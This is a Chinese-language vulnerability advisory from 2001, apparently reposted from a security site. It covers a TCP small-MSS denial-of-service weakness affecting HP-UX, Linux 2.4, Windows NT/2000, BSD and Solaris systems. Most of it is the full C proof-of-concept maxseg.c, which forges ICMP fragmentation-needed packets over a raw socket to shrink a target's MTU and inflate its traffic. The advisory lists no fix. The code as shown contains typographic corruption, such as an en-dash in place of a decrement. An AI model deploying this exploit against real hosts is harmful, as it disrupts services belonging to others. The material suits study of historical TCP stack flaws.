多种操作系统小TCP MSS拒绝服务漏洞

  发布日期: 2001-7-9 更新日期: 2001-7-16 受影响的系统: HP HP-UX 11.4HP HP-UX 11.11HP HP-UX 11.0.4HP HP-UX 11.0Linux kernel 2.4.5Linux kernel 2.4.4Linux kernel 2.4.3Linux kernel 2.4.2Linux kernel 2.4.1Linux kernel 2.4Microsoft Windows 2000Microsoft Windows NT 4.0NetBSD NetBSD 1.5.1NetBSD NetBSD 1.5OpenBSD OpenBSD 2.9OpenBSD OpenBSD 2.8FreeBSD FreeBSD 4.3Sun Solaris 8.0Sun Solaris 7.0 描述:——————————————————————————– BUGTRAQ ID : 2997在一些操作系统的TCP栈实现中存在一些潜在的拒绝服务问题。TCP选项中有一个MSS(最大分片大小)。TCP客户端用它来告诉对方自己每个分片的最大TCP数据长度。如果将MSS设成一个很小的数值(例如 1),然后通过一个TCP服务提交大量的请求,可能引起对方服务器产生大量的回复请求(多倍于攻击者的发送数量),这可能导致对方服务器或网络的负荷大大增加,造成拒绝服务攻击。<*来源:Darren Reed (avalon@coombs.anu.edu.au) *> 测试程序:——————————————————————————– 警 告以下程序(方法)可能带有攻击性,,仅供安全研究与教学之用。使用者风险自负! Darren Reed (avalon@coombs.anu.edu.au)提供了如下测试代码:/** (C)Copyright 2001 Darren Reed.** maxseg.c*/#include <sys/types.h>#include <sys/param.h>#include <sys/socket.h>#if BSD >= 199306#include <sys/sysctl.h>#endif#include <netinet/in.h>#include <netinet/in_systm.h>#include <netinet/ip.h>#include <netinet/ip_icmp.h>#include <netinet/ip_var.h>#include <netinet/tcp.h>#include <netinet/tcp_timer.h>#include <netinet/tcp_var.h>#include <time.h>#include <fcntl.h>#include <errno.h>void prepare_icmp(struct sockaddr_in *);void primedefaultmss(int, int);u_short in_cksum(u_short *, int);int icmp_unreach(struct sockaddr_in *, struct sockaddr_in *);#define NEW_MSS 512#define NEW_MTU 1500static int start_mtu = NEW_MTU;void primedefaultmss(fd, mss)int fd, mss;{#ifdef __NetBSD__ static int defaultmss = 0; int mib[4], msso, mssn; size_t olen; if (mss == 0)mss = defaultmss; mssn = mss; olen = sizeof(msso); mib[0] = CTL_NET; mib[1] = AF_INET; mib[2] = IPPROTO_TCP; mib[3] = TCPCTL_MSSDFLT; if (sysctl(mib, 4, &msso, &olen, NULL, 0))err(1, "sysctl"); if (defaultmss == 0)defaultmss = msso; if (sysctl(mib, 4, 0, NULL, &mssn, sizeof(mssn)))err(1, "sysctl"); if (sysctl(mib, 4, &mssn, &olen, NULL, 0))err(1, "sysctl"); printf("Default MSS: old %d new %d\n", msso, mssn);#endif#if HACKED_KERNEL int opt; if (mss)op = mss; elseop = 512; if (setsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, sizeof(op)))err(1, "setsockopt");#endif}intmain(int argc, char *argv[]){ struct sockaddr_in me, them; int fd, op, olen, mss; char prebuf[16374]; time_t now1, now2; struct timeval tv; mss = NEW_MSS; primedefaultmss(-1, mss); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1)err(1, "socket"); memset((char *)&them, 0, sizeof(me)); them.sin_family = AF_INET; them.sin_port = ntohs(atoi(argv[2])); them.sin_addr.s_addr = inet_addr(argv[1]); primedefaultmss(fd, mss); op = fcntl(fd, F_GETFL, 0); if (op != -1) {op |= O_NONBLOCK;fcntl(fd, F_SETFL, op); } op = 1; (void) setsockopt(fd, SOL_SOCKET, TCP_NODELAY, &op, sizeof(op)); if (connect(fd, (struct sockaddr *)&them, sizeof(them)) &&(errno != EINPROGRESS))err(1, "connect"); olen = sizeof(op); if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG, (char *)&op, &olen))printf("Remote mss %d\n", op); elseerr(1, "getsockopt");#if HACKED_KERNEL olen = sizeof(op); if (!getsockopt(fd, IPPROTO_TCP, TCP_MAXSEG+1, (char *)&op, &olen))printf("Our mss %d\n", op); elseerr(1, "getsockopt(+1)");#endif olen = sizeof(me); if (getsockname(fd, (struct sockaddr *)&me, &olen))err(1, "getsockname"); (void) read(fd, prebuf, sizeof(prebuf)); now1 = time(NULL); for (op = 2; op; op–) {icmp_unreach(&me, &them);olen = read(fd, prebuf, sizeof(prebuf));if (olen == -1) {if (errno == ENOBUFS || errno == EAGAIN ||errno == EWOULDBLOCK) {tv.tv_sec = 0;tv.tv_usec = 10000;select(3, NULL, NULL, NULL, &tv);continue;}warn("read");break;} } now2 = time(NULL); printf("Elapsed time %d\n", now2 – now1); primedefaultmss(fd, 0); close(fd); return 0;}/** in_cksum() & icmp_unreach() ripped from nuke.c prior to modifying*/static char icmpbuf[256];static int icmpsock = -1;static struct sockaddr_in destsock;voidprepare_icmp(dst)struct sockaddr_in *dst;{ struct tcphdr *tcp; struct icmp *icmp; icmp = (struct icmp *)icmpbuf; if (icmpsock == -1) {memset((char *)&destsock, 0, sizeof(destsock));destsock.sin_family = AF_INET;destsock.sin_addr = dst->sin_addr;srand(getpid());icmpsock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);if (icmpsock == -1)err(1, "socket");/* the following messy stuff from Adam Glass (icmpsquish.c) */memset(icmp, 0, sizeof(struct icmp) + 8);icmp->icmp_type = ICMP_UNREACH;icmp->icmp_code = ICMP_UNREACH_NEEDFRAG;icmp->icmp_pmvoid = 0;icmp->icmp_ip.ip_v = IPVERSION;icmp->icmp_ip.ip_hl = 5;icmp->icmp_ip.ip_len = htons(NEW_MSS);icmp->icmp_ip.ip_p = IPPROTO_TCP;icmp->icmp_ip.ip_off = htons(IP_DF);icmp->icmp_ip.ip_ttl = 11 + (rand() % 50);icmp->icmp_ip.ip_id = rand() & 0xffff;icmp->icmp_ip.ip_src = dst->sin_addr;tcp = (struct tcphdr *)(&icmp->icmp_ip + 1);tcp->th_sport = dst->sin_port; } icmp->icmp_nextmtu = htons(start_mtu); icmp->icmp_cksum = 0;}u_shortin_cksum(addr, len)u_short *addr;int len;{register int nleft = len;register u_short *w = addr;register int sum = 0;u_short answer = 0;/** Our algorithm is simple, using a 32 bit accumulator (sum),* we add sequential 16 bit words to it, and at the end, fold* back all the carry bits from the top 16 bits into the lower* 16 bits.*/while( nleft > 1 ) {sum += *w++;nleft -= 2;}/* mop up an odd byte, if necessary */if( nleft == 1 ) {*(u_char *)(&answer) = *(u_char *)w ;sum += answer;}/** add back carry outs from top 16 bits to low 16 bits*/sum = (sum >> 16) + (sum & 0xffff);/* add hi 16 to low 16 */sum += (sum >> 16);/* add carry */answer = ~sum;/* truncate to 16 bits */return (answer);}int icmp_unreach(src, dst)struct sockaddr_in *src, *dst;{ static int donecksum = 0; struct sockaddr_in dest; struct tcphdr *tcp; struct icmp *icmp; int i, rc; u_short sum; icmp = (struct icmp *)icmpbuf; prepare_icmp(dst); icmp->icmp_ip.ip_dst = src->sin_addr; sum = in_cksum((u_short *)&icmp->icmp_ip, sizeof(struct ip)); icmp->icmp_ip.ip_sum = sum; tcp = (struct tcphdr *)(&icmp->icmp_ip + 1); tcp->th_dport = src->sin_port; sum = in_cksum((u_short *)icmp, sizeof(struct icmp) + 8); icmp->icmp_cksum = sum; start_mtu /= 2; if (start_mtu < 69)start_mtu = 69; i = sendto(icmpsock, icmpbuf, sizeof(struct icmp) + 8, 0,(struct sockaddr *)&destsock, sizeof(destsock)); if (i == -1 && errno != ENOBUFS && errno != EAGAIN &&errno != EWOULDBLOCK)err(1, "sendto"); return(0);} ——————————————————————————–建议: 暂无 没有天生的信心,只有不断培养的信心。

多种操作系统小TCP MSS拒绝服务漏洞

相关文章:

你感兴趣的文章:

标签云: